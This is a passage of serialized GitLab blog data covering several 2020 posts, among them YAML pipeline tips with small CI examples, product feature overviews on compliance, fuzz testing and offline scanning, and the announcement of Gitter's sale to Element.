distributed environments. Adopt diverse integration patterns for branching, merging and code reviews along with granular permissions schemes ensuring code quality and safety.","https://about.gitlab.com/blog/distributed-version-control","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Distributed Version Control & Collaboration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Arias\"}],\n        \"datePublished\": \"2020-10-02\",\n      }",{"title":21434,"description":21435,"authors":21439,"heroImage":14401,"date":21440,"body":21441,"category":18484,"tags":21442},[8213],"2020-10-02","\n{::options parse_block_html=\"true\" /}\n\n\n\n[Distributed Version Control](/topics/version-control/)  allows  remote, collaborative work to flourish since a single copy of the complete project's history can be stored in any machine. But Distributed Version Control goes beyond every developer having a copy of the project in their machines, in fact it sets the foundation for a team to decide what strategy they need to adopt to deliver software.\n\n\nWith Gitlab a team can choose and adapt to different branching strategies that enable Continuous Integration being an example of that   high-frequency integration patterns where developers push very often local commits to the main branch, this is achieved through Gitlab Merge Request that favors short-lived branches augmenting the frequency of merges. \nDistributed Version Control and Collaboration  are cornerstone for software development lifecycle, Watch this video to see its capabilities in action\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/JAgIEdYhj00\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n\nCover image credit:\n\nCover image by [www_slon_pics](https://pixabay.com/photos/assembly-carpenter-carpentry-3830652/) on [pixabay](https://pixabay.com)\n{: .note}\n\n",[1384,1384],{"slug":21444,"featured":6,"template":678},"distributed-version-control","content:en-us:blog:distributed-version-control.yml","Distributed Version Control","en-us/blog/distributed-version-control.yml","en-us/blog/distributed-version-control",{"_path":21450,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21451,"content":21457,"config":21461,"_id":21463,"_type":16,"title":21464,"_source":17,"_file":21465,"_stem":21466,"_extension":20},"/en-us/blog/product-development-management",{"title":21452,"description":21453,"ogTitle":21452,"ogDescription":21453,"noIndex":6,"ogImage":21454,"ogUrl":21455,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21455,"schema":21456},"Version control and collaborating for product development management","Gitlab provides collaboration functionalities to product teams that work not only with source code but also graphic assets.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681632/Blog/Hero%20Images/blog-pdm-image.png","https://about.gitlab.com/blog/product-development-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Version control and collaborating for product development management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Arias\"}],\n        \"datePublished\": \"2020-10-02\",\n      }",{"title":21452,"description":21453,"authors":21458,"heroImage":21454,"date":21440,"body":21459,"category":18484,"tags":21460},[8213],"\n{::options parse_block_html=\"true\" /}\n\n\n\nFor Designers working with Developers or Product Managers it's frustrating to create a file in one tool, manually export the file, create a prototype in another tool, and use separate software or channels to handoff the designs to developers, the feedback exchange happens not in the context of the design but gets diluted in emails or messaging platforms, making it harder to retake the context after some time has passed.\nTo address those pains mentioned above, Gitlab counts with tools to bridge the communication, collaboration and bring together different roles, using capabilities such as Design Management combined with easy to install plugins like Gitlab Figma Plugin, Developers, Designers, Product Managers and in general any participant role of a project can provide early feedback on any-fidelity designs and open discussions that ultimately lead a team to be more efficient and create awesome products.\n\n\n\nWatch this short video to learn how to leverage Gitlab Design Capabilities along with robust Version Control and collaboration\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/YtbHkCzxFW4\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n\nCover image by [Pexels](https://pixabay.com/photos/action-figure-art-color-cute-1853285/) on [pixabay](https://pixabay.com/)\n{: .note}\n\n",[2248,1384],{"slug":21462,"featured":6,"template":678},"product-development-management","content:en-us:blog:product-development-management.yml","Product Development Management","en-us/blog/product-development-management.yml","en-us/blog/product-development-management",{"_path":21468,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21469,"content":21475,"config":21480,"_id":21482,"_type":16,"title":21483,"_source":17,"_file":21484,"_stem":21485,"_extension":20},"/en-us/blog/compliance-management",{"title":21470,"description":21471,"ogTitle":21470,"ogDescription":21471,"noIndex":6,"ogImage":21472,"ogUrl":21473,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21473,"schema":21474},"Managing Compliance with GitLab","GitLab makes compliance easy!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681610/Blog/Hero%20Images/andrew-neel-cckf4TsHAuw-unsplash.jpg","https://about.gitlab.com/blog/compliance-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Managing Compliance with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2020-10-01\",\n      }",{"title":21470,"description":21471,"authors":21476,"heroImage":21472,"date":21477,"body":21478,"category":18484,"tags":21479},[1622],"2020-10-01","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nCompliance is a concept that has historically been complex and unfriendly. The goal of Compliance Management is to change \nthe current paradigm for compliance to create an experience that's simple and friendly. GitLab\nprovides advanced auditing features as well as merge request approvals based off of different compliance tags.\n\nWatch this short video (2 minutes) to learn how to configure GitLab compliance features.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/QV2dIocn-hk\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nCover image by [Andrew Neel](https://unsplash.com/@andrewtneel) on [Unsplash](https://unsplash.com/)\n{: .note}\n\n\n",[110,674],{"slug":21481,"featured":6,"template":678},"compliance-management","content:en-us:blog:compliance-management.yml","Compliance Management","en-us/blog/compliance-management.yml","en-us/blog/compliance-management",{"_path":21487,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21488,"content":21494,"config":21498,"_id":21500,"_type":16,"title":21501,"_source":17,"_file":21502,"_stem":21503,"_extension":20},"/en-us/blog/fuzzing-with-gitlab",{"title":21489,"description":21490,"ogTitle":21489,"ogDescription":21490,"noIndex":6,"ogImage":21491,"ogUrl":21492,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21492,"schema":21493},"Find Bugs with Coverage-Guided Fuzz Testing","Use fuzz testing to find bugs and security issues other QA processes might miss.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681620/Blog/Hero%20Images/taya-dianna-zgSaLgXIINI-unsplash.jpg","https://about.gitlab.com/blog/fuzzing-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Find Bugs with Coverage-Guided Fuzz Testing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2020-10-01\",\n      }",{"title":21489,"description":21490,"authors":21495,"heroImage":21491,"date":21477,"body":21496,"category":18484,"tags":21497},[1622],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nGitLab comes with built-in coverage-guided fuzz testing. Coverage-guided fuzz testing helps you discover\nbugs and potential security issues that other QA processes might miss. It sends\nrandom inputs to an instrumented version of your application in an effort to cause unexpected behavior,\nsuch as a crash. Such behavior indicates a bug that you should address.\n\nWatch this short video (3 minutes) to learn how to configure [Fuzz-Testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) on GitLab.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/4ROYvNfRZVU\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nCover image by [Taya Dianna](https://unsplash.com/@tayadianna) on [Unsplash](https://unsplash.com/)\n{: .note}\n\n\n",[110,674],{"slug":21499,"featured":6,"template":678},"fuzzing-with-gitlab","content:en-us:blog:fuzzing-with-gitlab.yml","Fuzzing With Gitlab","en-us/blog/fuzzing-with-gitlab.yml","en-us/blog/fuzzing-with-gitlab",{"_path":21505,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21506,"content":21512,"config":21516,"_id":21518,"_type":16,"title":21519,"_source":17,"_file":21520,"_stem":21521,"_extension":20},"/en-us/blog/offline-environments",{"title":21507,"description":21508,"ogTitle":21507,"ogDescription":21508,"noIndex":6,"ogImage":21509,"ogUrl":21510,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21510,"schema":21511},"Running Security Scans in Limited Connectivity and Offline Environments","GitLab Security Scans can ensure Security in the most locked down environments.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666484/Blog/Hero%20Images/steven-kamenar-MMJx78V7xS8-unsplash.jpg","https://about.gitlab.com/blog/offline-environments","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Running Security Scans in Limited Connectivity and Offline Environments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2020-10-01\",\n      }",{"title":21507,"description":21508,"authors":21513,"heroImage":21509,"date":21477,"body":21514,"category":18484,"tags":21515},[1622],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nIt’s possible to run most of the GitLab security scanners when not connected to the internet.\nGitLab scanners generally will connect to the internet to download the latest sets of signatures,\nrules, and patches. A few extra steps are necessary to configure the tools to function properly by\nusing resources available on your local network.\n\nThe security scans which are supported in [Offline Environments](https://docs.gitlab.com/ee/user/application_security/offline_deployments/) are as follows:\n\n- Container Scanning\n- SAST\n- DAST\n- License Compliance\n- Dependency Scanning\n\nWatch this short video (3 minutes) to learn how to setup GitLab Security Scans in Offline Environments.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/FoLmRvTcOAY\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nCover image by [Steven Kamenar](https://unsplash.com/@skamenar) on [Unsplash](https://unsplash.com/)\n{: .note}\n\n\n",[110,674],{"slug":21517,"featured":6,"template":678},"offline-environments","content:en-us:blog:offline-environments.yml","Offline Environments","en-us/blog/offline-environments.yml","en-us/blog/offline-environments",{"_path":21523,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21524,"content":21530,"config":21534,"_id":21536,"_type":16,"title":21537,"_source":17,"_file":21538,"_stem":21539,"_extension":20},"/en-us/blog/three-yaml-tips-better-pipelines",{"title":21525,"description":21526,"ogTitle":21525,"ogDescription":21526,"noIndex":6,"ogImage":21527,"ogUrl":21528,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21528,"schema":21529},"3 YAML tips for better pipelines","Learn how to get the most out of your YAML configs.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681626/Blog/Hero%20Images/yaml-tips.jpg","https://about.gitlab.com/blog/three-yaml-tips-better-pipelines","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 YAML tips for better pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2020-10-01\",\n      }",{"title":21525,"description":21526,"authors":21531,"heroImage":21527,"date":21477,"body":21532,"category":8943,"tags":21533},[18462],"\n\nAt GitLab, we’re fans of YAML. But for all of its benefits, we’d be lying if we said YAML hasn’t caused its fair share of headaches, too.\n\n[YAML](https://yaml.org/) is used industry-wide for declarative configuration. YAML offers flexibility and simplicity, as long as you know the rules and limitations. Since YAML is platform-agnostic, knowing best practices around YAML configurations is a transferable skillset in a cloud native world.\n\n## What are the benefits of YAML?\n\nYAML is a data serialization language designed to be human-friendly. YAML is easy to use in a text editor, has a simple syntax that works across programming languages, and can store a lot of important configuration data (typically in a .yml or .yaml file).\n\n[YAML is data-oriented](https://blog.stackpath.com/yaml/) and has features derived from Perl, C, HTML, and others.\n\nBecause YAML is a superset of JSON, it has built-in advantages including comments, self-referencing, and support for complex data types.\n\nA [YAML file uses declarative configuration](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes) to describe a variety of structures, such as API data structures and even deployment instructions for virtual machines and containers, to name a few.\n\nYAML is comprehensive, widely-used, and works in every type of development environment.\n\n## YAML tip #1: Let other tools do the formatting for you\n\nYAML is one of those languages where it’s minimalism is both a blessing and a curse, depending on who you ask. It also relies on the syntactically significant whitespace that is a source of [heated debate](https://wiki.c2.com/?SyntacticallySignificantWhitespaceConsideredHarmful) among developers. For a language where formatting is a king, what can developers do to make sure they stay within the rules without having to analyze every single space and indentation?\n\nMany text editors and platforms have plugins or built-in tools to check YAML configuration syntax for you.\n\n*   [Atom](http://atom.io/), the open source text editor, comes with a default YAML mode.\n*   [Red Hat YAML support](https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml) provides YAML Language and Kubernetes syntax support to the [VS Code editor](https://code.visualstudio.com/).\n*   [OnlineYamlTools](https://onlineyamltools.com/edit-yaml) has a web-based editor that will do in a pinch. It also links to other helpful options such as converting JSON to YAML, etc.\n*   [SlickEdit](https://www.slickedit.com/products/slickedit/448-the-most-powerful-yaml-editor-in-the-world#:~:text=SlickEdit%20%2D%20The%20most%20powerful%20YAML,source%20diff%2C%20and%20much%20more.) is the self-described \"most powerful YAML editor in the world\" and has some helpful features to back it up (at a cost). SlickEdit offers a free trial.\n*   [Pretty YAML](https://packagecontrol.io/packages/Pretty%20YAML) is a plugin for Sublime Text 2 and 3 that allows you to format YAML files.\n\n[Linters](https://sourcelevel.io/blog/what-is-a-linter-and-why-your-team-should-use-it) are used in the development process to analyze code for stylistic and formatting errors, among other things. Teams adopt linters and other static tools by integrating them into their integrated development environment (IDE) of choice, and/or by running them as an additional step in their continuous integration (CI).\n\nIn GitLab, we have a [CI lint](https://docs.gitlab.com/ee/ci/lint.html#validate-basic-logic-and-syntax) that checks the syntax of your CI YAML configuration that also runs some basic logical validations.\n\nTo use the CI lint, paste a complete CI configuration (`.gitlab-ci.yml` for example) into the text box and click `Validate`:\n\n![GitLab CI lint](https://docs.gitlab.com/ee/ci/img/ci_lint.png)\n\n## YAML tip #2: Keep it simple\n\nIt’s easy to overwhelm the minimalism of a YAML file by including too many details, or by being inconsistent with formatting. When it comes to YAML, less is often more.\n\nIt isn’t necessary to specify every single attribute. `Job timeout` is an example of an attribute that can be left out, since this is something that is sometimes specified elsewhere. An example in GitLab is [interruptible](https://docs.gitlab.com/ee/ci/yaml/#interruptible), which is used to indicate that a job should be canceled if made redundant by a newer pipeline run. Since this defaults to `false` it’s not always necessary to include it.\n\nSome people indent gratuitously when writing YAML to help themselves visualize large chunks of data. To better visualize how data works together, it might be helpful to create a \"pseudo-config\" before committing the code to YAML. On the [Red Hat blog](https://www.redhat.com/sysadmin/yaml-tips), a pseudo-config is described as pseudo-code where you don't have to worry about structure or indentation, parent-child relationships, inheritance, or nesting. Just write the data down as you understand it.\n\n![Red Hat pseudo config](https://www.redhat.com/sysadmin/sites/default/files/inline-images/pseudoyaml.jpg)\n\nOnce you understand how the data correlates, then you can commit it to YAML.\n\nRegardless of how you define simplicity in your workflow, try to keep YAML configs uncluttered and include only the necessary data. And if you’re not sure what data is necessary, write out a pseudo-config to help you visualize it.\n\n\n\n## YAML tip #3: Reuse config when possible\n\nStarting from scratch is a lot of wasted effort, and YAML is no exception. One of the best parts of YAML is its reusabilty, and reusing config is a way to keep files consistent within an organization.\n\nOne way to [avoid duplicated configuration](https://docs.gitlab.com/ee/ci/yaml/#include) is by using the `include` keyword, which allows the inclusion of external YAML files. For example, global default variables for all projects that don’t need to be modified for every file. The `include` keyword helps to break down a YAML configuration into multiple files and boosts readability, especially for long files. It’s also possible to have template files stored in a central repository and projects included in their configuration files.\n\n`extends` is a great way to reuse some YAML config in multiple places, for example:\n\n```\n.image_template:\n  image:\n    name: centos:latest\n\ntest:\n  extends: .image_template\n  script:\n    - echo \"Testing\"\n\ndeploy:\n  extends: .image_template\n  script:\n    - echo \"Deploying\"\n```\n\nYAML has a handy feature called [anchors](https://docs.gitlab.com/ee/ci/yaml/yaml_optimization.html#anchors), which lets you easily duplicate content across your document. Anchors can be used to duplicate/inherit properties, and is a perfect example to be used with [hidden jobs](https://docs.gitlab.com/ee/ci/jobs/#hide-jobs) to provide templates for your jobs. When there is duplicate keys, GitLab will perform a reverse deep merge based on the keys.\n\n```\n.job_template: &job_definition  # Hidden key that defines an anchor named 'job_definition'\n  image: ruby:2.6\n  services:\n    - postgres\n    - redis\n\ntest1:\n  &lt;\u003C: *job_definition           # Merge the contents of the 'job_definition' alias\n  script:\n    - test1 project\n\ntest2:\n  &lt;\u003C: *job_definition           # Merge the contents of the 'job_definition' alias\n  script:\n    - test2 project\n```\n\nOne big caveat to anchors: You can’t use anchors across multiple files when leveraging the `include` feature.\n\nInstead of building pipelines from scratch, [CI/CD pipeline templates](/blog/get-started-ci-pipeline-templates/) simplify the process by having parameters already built-in. At GitLab, pipelines are defined in a `gitlab-ci.yml` file. Because our CI/CD templates come in over 30 popular languages, chances are good that we have the template you need to get started in our [CI template repository](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates).\n\nTemplates can be modified and are created to fit many use cases. To see a large `.gitlab-ci.yml` file used in an enterprise, see the [.gitlab-ci.yml file for GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml).\n\nWhether you’re a YAML lover, YAML novice, or using YAML against your will, knowing some tips and tricks can make your development process a better experience. Do you have any YAML tips or recommendations? Feel free to comment down below.\n\nCurious about GitLab CI/CD and want to show off your YAML skills? [Try GitLab free for 30 days](/free-trial/).\n\nCover image by [Harits Mustya Pratama](https://unsplash.com/@haritsmustya?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/greenhouse?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n## Related content\n[GitLab CI/CD pipeline configuration reference](https://docs.gitlab.com/ee/ci/yaml)\n\n[Unlock better DevOps with GitLab CI/CD](https://about.gitlab.com/blog/better-devops-with-gitlab-ci-cd/)\n\n[Pipeline efficiency](https://docs.gitlab.com/ee/ci/pipelines/pipeline_efficiency.html)\n",[110,4103],{"slug":21535,"featured":6,"template":678},"three-yaml-tips-better-pipelines","content:en-us:blog:three-yaml-tips-better-pipelines.yml","Three Yaml Tips Better Pipelines","en-us/blog/three-yaml-tips-better-pipelines.yml","en-us/blog/three-yaml-tips-better-pipelines",{"_path":21541,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21542,"content":21548,"config":21553,"_id":21555,"_type":16,"title":21556,"_source":17,"_file":21557,"_stem":21558,"_extension":20},"/en-us/blog/enables-rapid-innovation",{"title":21543,"description":21544,"ogTitle":21543,"ogDescription":21544,"noIndex":6,"ogImage":21545,"ogUrl":21546,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21546,"schema":21547},"GitLab uniquely enables rapid innovation","Learn about some of the ways GitLab can uniquely enable your developers to innovate more rapidly.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681603/Blog/Hero%20Images/rapids-cover-1275x750.jpg","https://about.gitlab.com/blog/enables-rapid-innovation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab uniquely enables rapid innovation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2020-09-30\",\n      }",{"title":21543,"description":21544,"authors":21549,"heroImage":21545,"date":21550,"body":21551,"category":18484,"tags":21552},[937],"2020-09-30","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nA challenge that organizations often face is the amount of time spent maintaining their IT systems vs. the time spent innovating and developing differentiating features for customers.  This challenge has become even more difficult during a global pandemic where working from home makes it harder to engage with your customers in person and digital channels have become the primary vehicle to do business with consumers of your services and products. Rapid innovation means your organization and teams can deliver lovable features faster and get value into the hands of customers sooner. This is more urgent than ever before to remain competitive and ultimately survive in this new business reality, and requires your developers to spend more time creating and developing code rather than managing multiple disparate tools, environments, and processes.\n\nGitLab uniquely enables rapid innovation by simplifying the adoption of DevOps practices so that your developers can spend more time creating innovative features and applications that matter to your customers. \n\nWatch this video (~6 mins) to see these rapid innovation capabilities in action.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/MLrqJ1sxkjQ\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nThe following is a non-exhaustive list of ways that GitLab helps your teams to achieve rapid innovation.\n\n### Easy collaboration across multiple roles and asset types\n\nApplication creators and stakeholders within every organization come from many disciplines, often times each using their own file types to get work done. For example:\n* **Product Designers** typically work with the output of their design tools, which could be Figma or Sketch files, images, or graphs.\n* **Developers** mainly work with programming language source files (code).\n* **DevOps Engineers** might use Infrastructure-as-code files, like Terraform, CloudFormation, or Azure Resource Manager files\n* **Database Administrators** often use Data Definition Language (DDL), Data Manipulation Language (DML), and SQL scripts.\n\nWhereas other CI/CD solutions typically stick to one type of asset, with GitLab, stakeholders can easily collaborate and contribute using their preferred asset types as part of a single conversation across the whole software development lifecycle. Not only does this enrich the conversation between all stakeholders, but it speeds up the innovation process by lowering the barrier for cross team collaboration.\n\n![issue with design picture](https://about.gitlab.com/images/blogimages/enables-rapid-innovation/issue-with-design-picture.png){: .shadow.medium.center.wrap-text}\n\n### Security and compliance\n\nSecurity and compliance is usually a top priority for CIOs and directly affects how code is developed throughout the end-to-end SDLC. It's critical to protect your IP and equally important for customers to take confidence in the fact that their sensitive data is safe and secure. Instead of putting together your own mechanisms to check security vulnerabilities, license compliance, dependency scanning, static and dynamic application security testing, performance, fuzz testing, among others, GitLab provides you with built-in templates to do all these from within your CI pipeline. All you have to do is include them in your pipeline and voila! By leveraging these templates you can more quickly focus on creating and innovating.\n\n![build and test pipeline](https://about.gitlab.com/images/blogimages/enables-rapid-innovation/build-and-test-pipeline.png){: .shadow.medium.center.wrap-text}\n\n### Review Apps\n\nWouldn’t it be great if you could effortlessly enable all stakeholders to review the application changes BEFORE they are merged to the main branch? Instead of orchestrating and putting together a review environment and building, loading and executing the application to it for every update, you can leverage GitLab Review Apps capability, which streamlines the review process by automatically creating (and cleaning up) temporary review environments with every change. This let's developers focus on innovation instead of environment setup.\n\n![review pipeline](https://about.gitlab.com/images/blogimages/enables-rapid-innovation/review-pipeline.png){: .shadow.medium.center.wrap-text}\n\n### Deep Kubernetes integration\n\nAnother way that GitLab uniquely enables you to innovate more rapidly is the deep integration to Kubernetes clusters, which not only includes the automatic creation of and deployment to K8s clusters, but also includes automatic cluster monitoring, per application metrics, and the one-click deployment and management of a variety of supplemental applications such as a Web Application Firewall, Cert-Manager, Prometheus, GitLab Runner, Crossplane, JupyterHub, Elastic Stack, Fluentd, Knative, and GitLab Container Network Policies.\n\nKubernetes clusters can be set up by developers at their project level or by admins at the group levels, enabling developers to take advantage of container-based development best practices without needing deep subject matter expertise. This allows developers to spend more of their time working on what matters: creating great product.\n\n![K8s apps](https://about.gitlab.com/images/blogimages/enables-rapid-innovation/K8s-apps.png){: .shadow.medium.center.wrap-text}\n\n### Automatic environments management\n\nGitLab will automatically spin up and tear down environments as needed by the CI/CD pipeline. For example, GitLab automatically spins up pods for the review, staging and production environments. All this infrastructure automation removes the burden of having to manage infrastructure off of your shoulders so that you can spend more time developing and creating code faster.\n\n![environments](https://about.gitlab.com/images/blogimages/enables-rapid-innovation/environments.png){: .shadow.medium.center.wrap-text}\n\n### Pipeline template creation\n\nOnce you create a pipeline based on the best practices for your organization, you can turn it into a pipeline template that your development teams can use. Other developers can reuse this new template in their projects so that they can get right to creating and innovating differentiating features and applications that matter to their consumers.\n\n![steps to create pipeline template](https://about.gitlab.com/images/blogimages/enables-rapid-innovation/steps-create-pipeline-template.png){: .shadow.medium.center.wrap-text}\n\n### Auto DevOps\n\nIf you’d like to leverage a complete DevOps predefined CI/CD pipeline, which is based on best practices, why not use Auto DevOps? Auto DevOps allows you to automatically detect, build, test, deploy, and monitor your applications. Leveraging CI/CD best practices and tools, Auto DevOps aims to simplify the setup and execution of a mature and modern software development lifecycle. The Auto DevOps pipeline shifts work left to find and prevent defects as early as possible in the software delivery process. The pipeline then deploys the application to staging for verification and then to production in an incremental fashion. As you can see, Auto DevOps saves you from implementing your own pipeline so that you can spend more time innovating.\n\n![partial auto devops pipeline](https://about.gitlab.com/images/blogimages/enables-rapid-innovation/partial-Auto-DevOps-pipeline.png){: .shadow.medium.center.wrap-text}\n\nThese are some of the ways GitLab uniquely enables you to innovate more rapidly by ensuring that everything is where you need it when you need it, empowering you to focus on creating and developing innovations, delivering solutions faster, putting new products and services more quickly in the hands of your customers and remaining competitive. And all within a single application.\n\nFor more videos and demos visit [Learn@GitLab](https://about.gitlab.com/learn/).\nTo learn more about how GitLab can help you innovate more rapidly visit [the GitLab website](https://about.gitlab.com)\n\nCover image by [Florian Bernhardt](https://unsplash.com/@floww?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/rapids?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[110,4103,4144],{"slug":21554,"featured":6,"template":678},"enables-rapid-innovation","content:en-us:blog:enables-rapid-innovation.yml","Enables Rapid Innovation","en-us/blog/enables-rapid-innovation.yml","en-us/blog/enables-rapid-innovation",{"_path":21560,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21561,"content":21566,"config":21571,"_id":21573,"_type":16,"title":21574,"_source":17,"_file":21575,"_stem":21576,"_extension":20},"/en-us/blog/gitter-moves-to-element",{"title":21562,"description":21563,"ogTitle":21562,"ogDescription":21563,"noIndex":6,"ogImage":17364,"ogUrl":21564,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21564,"schema":21565},"Gitter lands new home in Matrix with Element","Gitter’s new owner Element will continue to support and invest in the service and user communities.","https://about.gitlab.com/blog/gitter-moves-to-element","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Gitter lands new home in Matrix with Element\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eliran Mesika\"}],\n        \"datePublished\": \"2020-09-30\",\n      }",{"title":21562,"description":21563,"authors":21567,"heroImage":17364,"date":21550,"body":21569,"category":736,"tags":21570},[21568],"Eliran Mesika","\n\nGitter, the open source [chat and networking platform](/blog/gitter-acquisition/), has been sold to secure chat application company [Element](https://element.io) which will continue to support and invest in the service and the user communities going forward.\n\nAs many of you are aware, GitLab has been focused this year on driving efficiency with a goal of extending our depth in our core product categories. That focus led us to look for a buyer for Gitter that could increase investment required to serve developers. With Element’s acquisition of Gitter, GitLab has more bandwidth to devote to our core business and Gitter will continue to have opportunities to thrive. \n\n“A great project chat is an essential element of most open source projects and Gitter is the leading open source solution,” says [Sid Sijbrandij](/company/team/#sytses), CEO, GitLab. “Under GitLab, Gitter’s community has grown to 1.7M users who have also contributed to improving the product for everyone. We are happy that Gitter will now have a fantastic home with Element. They have the momentum to quickly build on the success of Gitter to expand its footprint within the developer community and act as a driver for the rest of its business and the Matrix ecosystem. It’s a great home for Gitter.”\n\nElement is the company behind [Matrix](https://matrix.org), the open network for secure and decentralized communication with more than 20 million users. \n\n“It’s a privilege to have Gitter join Element,” says Matthew Hodgson, CEO and CTO at Element. “Gitter is the only chat platform focusing exclusively on developers, and we cannot wait to extend its reach to the entirety of the open Matrix network - confirming Matrix as an ideal home for open collaboration between software developers.”\n\nFounded in 2014, Gitter has operated as a standalone product, independent of GitLab, since 2017. Gitter is unique in its developer focus –  the tagline is “Where developers come to talk.” Used by large communities including [Node](https://gitter.im/nodejs/home), [TypeScript](https://gitter.im/Microsoft/TypeScript), [Angular](https://gitter.im/angular/home) and [Scala](https://gitter.im/scala/home), Gitter’s service is free, open source and has no commercial edition. A complete, indexed message history and robust integration [API](https://developer.gitter.im/docs/welcome) makes Gitter a perfect platform for managing communities around open-source projects. Gitter is available on the web with clients available for Mac, Windows, Linux, iOS, and Android.\n\n## Going forward\n\n[Element plans](https://element.io/blog/gitter-is-joining-element) to build out native Matrix connectivity, replacing the [matrix-appservice-gitter](https://github.com/matrix-org/matrix-appservice-gitter) bridge running since 2016. Over time, Gitter will effectively become a Matrix client.\n\nGet more details on this transition on the [Changelog podcast](https://cdn.changelog.com/uploads/podcast/414/the-changelog-414.mp3).\n\nMatrix has a [detailed Gitter transition plan](https://matrix.org/blog/welcoming-gitter-to-matrix) and welcomes [feedback on the process](https://matrix.to/#/#gitter:matrix.org).\n",[267,815,676],{"slug":21572,"featured":6,"template":678},"gitter-moves-to-element","content:en-us:blog:gitter-moves-to-element.yml","Gitter Moves To Element","en-us/blog/gitter-moves-to-element.yml","en-us/blog/gitter-moves-to-element",{"_path":21578,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21579,"content":21585,"config":21590,"_id":21592,"_type":16,"title":21593,"_source":17,"_file":21594,"_stem":21595,"_extension":20},"/en-us/blog/how-to-easily-launch-gitlab-through-cloud-marketplaces",{"title":21580,"description":21581,"ogTitle":21580,"ogDescription":21581,"noIndex":6,"ogImage":21582,"ogUrl":21583,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21583,"schema":21584},"How to easily launch GitLab through cloud marketplaces","Bitnami makes publishing GitLab into Azure Marketplace simple.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670001/Blog/Hero%20Images/bitnami-gitlab-cloud.png","https://about.gitlab.com/blog/how-to-easily-launch-gitlab-through-cloud-marketplaces","\n                        {\n        \"@context\": 